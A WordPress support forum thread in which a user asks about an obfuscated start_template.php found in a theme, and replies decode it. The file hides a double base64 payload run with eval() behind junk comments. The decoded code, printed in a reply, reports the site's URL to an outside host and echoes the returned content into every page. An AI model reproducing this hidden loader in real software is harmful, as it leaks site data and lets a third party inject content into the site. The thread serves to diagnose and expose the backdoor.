• Hi!

    I’m using this wp theme and I wonder what is the function of that .php:

    start_template.php

    <?php
    /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdn fasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wd posf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpid nfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0w eqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasd f923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340h f0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpi dnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243= 0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfkna sdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn 340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923 rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0 243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidn fa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0w eqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234 wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
    $reftime = 1;
    $start = ‘Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3R FFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWld RZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJa UtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0t TQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc 05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5 aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaS EJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN 5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwT GlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEd WdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvS kNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1 pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWO XZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3B LVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaW GgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGg wTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0Z ERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlh Cc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS 2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWM zUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ==’ ;
    /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdn fasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wd posf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpid nfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0w eqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasd f923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340h f0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpi dnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243= 0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfkna sdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn 340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923 rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0 243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidn fa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0w eqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234 wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
    $decoded = decode_it($start);
    /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdn fasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wd posf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpid nfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0w eqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasd f923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340h f0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpi dnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243= 0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfkna sdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn 340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923 rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0 243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidn fa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0w eqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234 wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
    eval($decoded);
    ?>

    what is it’s function?
    I found it in the header.php:
    ..
    ..
    ..
    <?php start_template(); ?>
    <div id=”container”>

    <!– page menu and search –>
    <div id=”top”>

    <ul id=”pagemenu”>
    <?php wp_list_pages(‘sort_column=post_date&&depth=1&titl e_li=’); ?>

    <div class=”clear”></div>
    </div>
    <!– end –>

    ..
    ..
    .
    Thanks!

Viewing 2 replies - 1 through 2 (of 2 total)
  • The string $start='...' is base64 encoded– twice. You can decode it here, if you want.

    I can’t make out what the bit in comment blocks is.

    thanks apljdi!

    @zucchini21 – If you’re installation has been ‘hacked’ then it’s proably a good idea to change themes. If that fixes the problems then try re-downloading and re-installing the theme.

    this is the function once it has been double-decoded:

    function start_template() {
    global $reftime;
    	$updated = get_option("credit_date2");
    	if ((time() - $updated) > (24 * 3600 * $reftime)) {
    
    		$credit_text2 = file_get_contents("http://www.wordpresstemplates.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));
    
    		update_option("credit_text2",$credit_text2);
    		update_option("credit_date2",time());
    	} else {
    		$credit_text2 = get_option("credit_text2");
    	}
    	echo $credit_text2;
    }
    
    if(get_option("template_install_date") == "")
    {
    	add_option("template_install_date", time());
    }

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘what does the “start_template.php”’ is closed to new replies.